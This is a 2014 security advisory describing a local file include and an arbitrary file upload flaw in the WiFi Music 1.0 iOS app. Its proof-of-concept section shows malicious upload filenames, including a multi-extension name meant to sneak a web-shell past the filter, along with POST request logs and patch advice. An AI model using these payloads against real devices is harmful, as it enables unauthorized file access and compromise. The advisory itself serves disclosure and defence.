262 lines
11 KiB
Text
Executable file
262 lines
11 KiB
Text
Executable file
Document Title:
|
|
===============
|
|
Lazybone Studios WiFi Music 1.0 iOS - Multiple Vulnerabilities
|
|
|
|
|
|
References (Source):
|
|
====================
|
|
http://www.vulnerability-lab.com/get_content.php?id=1233
|
|
|
|
|
|
Release Date:
|
|
=============
|
|
2014-03-21
|
|
|
|
|
|
Vulnerability Laboratory ID (VL-ID):
|
|
====================================
|
|
1233
|
|
|
|
|
|
Common Vulnerability Scoring System:
|
|
====================================
|
|
7.1
|
|
|
|
|
|
Product & Service Introduction:
|
|
===============================
|
|
WiFi Music lets you transfer via Wi-Fi the songs you have in your computer to any iPhone, iPod touch or iPad
|
|
in your network. No iTunes required. Now you can share them with your friends and workmates, and stream them
|
|
directly to almost any media player!
|
|
|
|
( Copy to the Vendor Homepage: https://itunes.apple.com/de/app/wifi-music/id469617062 )
|
|
|
|
|
|
Abstract Advisory Information:
|
|
==============================
|
|
The Vulnerability Laboratory Research Team discovered multiple critical vulnerabilities in the official Lazybone Studios WiFi Music v1.0 iOS mobile web-application.
|
|
|
|
|
|
Vulnerability Disclosure Timeline:
|
|
==================================
|
|
2014-03-21: Public Disclosure (Vulnerability Laboratory)
|
|
|
|
|
|
Discovery Status:
|
|
=================
|
|
Published
|
|
|
|
|
|
Affected Product(s):
|
|
====================
|
|
|
|
Exploitation Technique:
|
|
=======================
|
|
Local
|
|
|
|
|
|
Severity Level:
|
|
===============
|
|
High
|
|
|
|
|
|
Technical Details & Description:
|
|
================================
|
|
1.1
|
|
A local file include web vulnerability has been discovered in the official Lazybone Studios WiFi Music v1.0 iOS mobile web-application.
|
|
A file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path commands
|
|
to compromise the web-application or mobile device.
|
|
|
|
The web vulnerability is located in the `filename` value of the `Upload File` module. Remote attackers are able to inject own files with
|
|
malicious `filename` value in the upload POST method request to compromise the mobile web-application. The attack vector is persistent and
|
|
the request method is POST. The local file/path include execution occcurs in the main music file dir list. The security risk of the local
|
|
file include web vulnerability is estimated as high(+) with a cvss (common vulnerability scoring system) count of 6.7(+)|(-)6.8.
|
|
|
|
Exploitation of the local file include web vulnerability requires no user interaction but a privileged web-application user account with
|
|
low user auth. Successful exploitation of the local file include web vulnerability results in mobile application or connected device
|
|
component compromise.
|
|
|
|
Request Method(s):
|
|
[+] [POST]
|
|
|
|
Vulnerable Module(s):
|
|
[+] Select File > Upload
|
|
|
|
Vulnerable Parameter(s):
|
|
[+] filename
|
|
|
|
Affected Module(s):
|
|
[+] Music File Dir List (http://localhost:8080/)
|
|
|
|
|
|
|
|
1.2
|
|
An arbitrary file upload web vulnerability has been discovered in the official Lazybone Studios WiFi Music v1.0 iOS mobile web-application.
|
|
The arbitrary file upload issue allows remote attackers to upload files with multiple extensions to bypass the web-server or system validation.
|
|
|
|
The vulnerability is located in the `upload` (video and music) module. Remote attackers are able to upload a php or js web-shells by renaming
|
|
the file with multiple extensions to bypass the file restriction mechanism. The attacker uploads for example a web-shell with the following name
|
|
and extension `ptest.mp3.html.php.js.aspx.mp3`. After the upload the attacker needs to open the file with the path value in the web application.
|
|
He deletes the .mp3 file extension and can access the application with elevated executable access rights. The security risk of the arbitrary file
|
|
upload web vulnerability is estimated as high(+) with a cvss (common vulnerability scoring system) count of 7.7(+)|(-)7.8.
|
|
|
|
Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privileged application user account with password.
|
|
Successful exploitation of the vulnerability results in unauthorized file access because of a compromise after the upload of web-shells.
|
|
|
|
Request Method(s):
|
|
[+] [POST]
|
|
|
|
Vulnerable Module(s):
|
|
[+] Select File > Upload
|
|
|
|
Vulnerable Parameter(s):
|
|
[+] filename (multiple extensions)
|
|
|
|
Affected Module(s):
|
|
[+] Music File Dir List (http://localhost:8080/)
|
|
|
|
|
|
Proof of Concept (PoC):
|
|
=======================
|
|
1.1
|
|
The local file include web vulnerability can be exploited by local attackers without user interaction or privileged application user account.
|
|
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
|
|
|
|
PoC: iChm File Management - Index
|
|
|
|
<table border="0" cellpadding="0" cellspacing="0">
|
|
<thead>
|
|
<tr><th>Name</th><th class="del">Delete</th></tr>
|
|
</thead><tbody id="filelist">
|
|
<tr><td><a href="/files/%3C[LOCAL FILE INCLUDE VULNERABILITY!]%3E" class="file"><./[LOCAL FILE INCLUDE VULNERABILITY!]"></a></td>
|
|
<td class='del'><form action='/files/%3C[LOCAL FILE INCLUDE VULNERABILITY!]%3E' method='post'><input name='_method' value='delete'
|
|
type='hidden'/><input name="commit" type="submit" value="Delete" class='button' /></td></tr></tbody></table></iframe></a></td></tr></tbody>
|
|
</table>
|
|
|
|
|
|
Source: Vulnerable Java Script (iChm File Management - Index)
|
|
|
|
<script type="text/javascript" charset="utf-8">
|
|
var now = new Date();
|
|
$.getJSON("/files?"+ now.toString(),
|
|
function(data){
|
|
var shadow = false;
|
|
$.each(data, function(i,item){
|
|
var trclass='';
|
|
if (shadow)
|
|
trclass= " class='shadow'";
|
|
encodeName = encodeURI(item.name).replace("'", "'");
|
|
$("<tr" + trclass + "><td><a href='/files/" + encodeName + "' class='file'>" + item.name + "</a></td>" + "<td class='del'>
|
|
<form action='/files/" + encodeName + "' method='post'><input name='_method' value='delete' type='hidden'/><input name=\"commit\"
|
|
type=\"submit\" value=\"Delete\" class='button' /></td>" + "</tr>").appendTo("#filelist");
|
|
shadow = !shadow;
|
|
});
|
|
});
|
|
</script>
|
|
|
|
|
|
--- PoC Session Logs [POST] ---
|
|
Status: 302[Found]
|
|
POST http://localhost:8080/files Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr??e des Inhalts[67] Mime Type[text/html]
|
|
Request Header:
|
|
Host[localhost:8080]
|
|
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
|
|
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
|
Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
|
|
Accept-Encoding[gzip, deflate]
|
|
Referer[http://localhost:8080/]
|
|
Connection[keep-alive]
|
|
POST-Daten:
|
|
POST_DATA[-----------------------------280732177711982
|
|
Content-Disposition: form-data; name="newfile"; filename="<./[LOCAL FILE INCLUDE WEB VULNERABILITY!]>"
|
|
Content-Type: image/png
|
|
|
|
Reference(s):
|
|
http://localhost:8080/[Index File Dir Listing]
|
|
|
|
|
|
|
|
1.2
|
|
The arbitrary file upload web vulnerability can be exploited by local attackers without user interaction or privileged application user account.
|
|
For security demonstration or to reproduce the file upload web vulnerability follow the provided information and steps below to continue.
|
|
|
|
PoC: http://localhost:8080/files/[ARBITRARY FILE UPLOAD PATH]-ptest.mp3.html.php.js.aspx.mp3`
|
|
|
|
--- PoC Session Logs [POST] ---
|
|
Status: 302[Found]
|
|
POST http://localhost:8080/files Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr??e des Inhalts[67] Mime Type[text/html]
|
|
Request Header:
|
|
Host[localhost:8080]
|
|
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
|
|
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
|
Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
|
|
Accept-Encoding[gzip, deflate]
|
|
Referer[http://localhost:8080/]
|
|
Connection[keep-alive]
|
|
POST-Daten:
|
|
POST_DATA[-----------------------------141831923231387
|
|
Content-Disposition: form-data; name="newfile"; filename="ptest.mp3.html.php.js.aspx.mp3"
|
|
Content-Type: image/jpeg
|
|
|
|
Reference(s):
|
|
http://localhost:8080/files
|
|
|
|
|
|
Solution - Fix & Patch:
|
|
=======================
|
|
1.1
|
|
The local file include web vulnerability can be patched by a secure parse and encode of the vulnerable filename value in the upload file POST method request.
|
|
Filter and encode also the filename output listing of the index.
|
|
|
|
1.2
|
|
Filter and restrict the file name validation on uploads to prevent arbitrary file upload attacks.
|
|
Implement a secure own exception-handling to restrict and disallow files with multiple extensions.
|
|
Reset the executable rights for html and php codes in the little web-server settings config for /files.
|
|
|
|
|
|
Security Risk:
|
|
==============
|
|
1.1
|
|
The security risk of the local file include web vulnerability is estimated as high(-).
|
|
|
|
1.2
|
|
The security risk of the arbitrary file upload web vulnerability is estimated as high(+).
|
|
|
|
|
|
Credits & Authors:
|
|
==================
|
|
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
|
|
|
|
|
|
Disclaimer & Information:
|
|
=========================
|
|
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
|
|
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
|
|
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
|
|
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
|
|
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
|
|
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
|
|
or trade with fraud/stolen material.
|
|
|
|
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
|
|
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
|
|
Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com
|
|
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
|
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
|
|
|
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
|
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
|
|
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and
|
|
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
|
|
modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
|
|
|
|
Copyright ? 2014 | Vulnerability Laboratory [Evolution Security]
|
|
|
|
|
|
|
|
--
|
|
VULNERABILITY LABORATORY RESEARCH TEAM
|
|
DOMAIN: www.vulnerability-lab.com
|
|
CONTACT: research@vulnerability-lab.com
|
|
|
|
|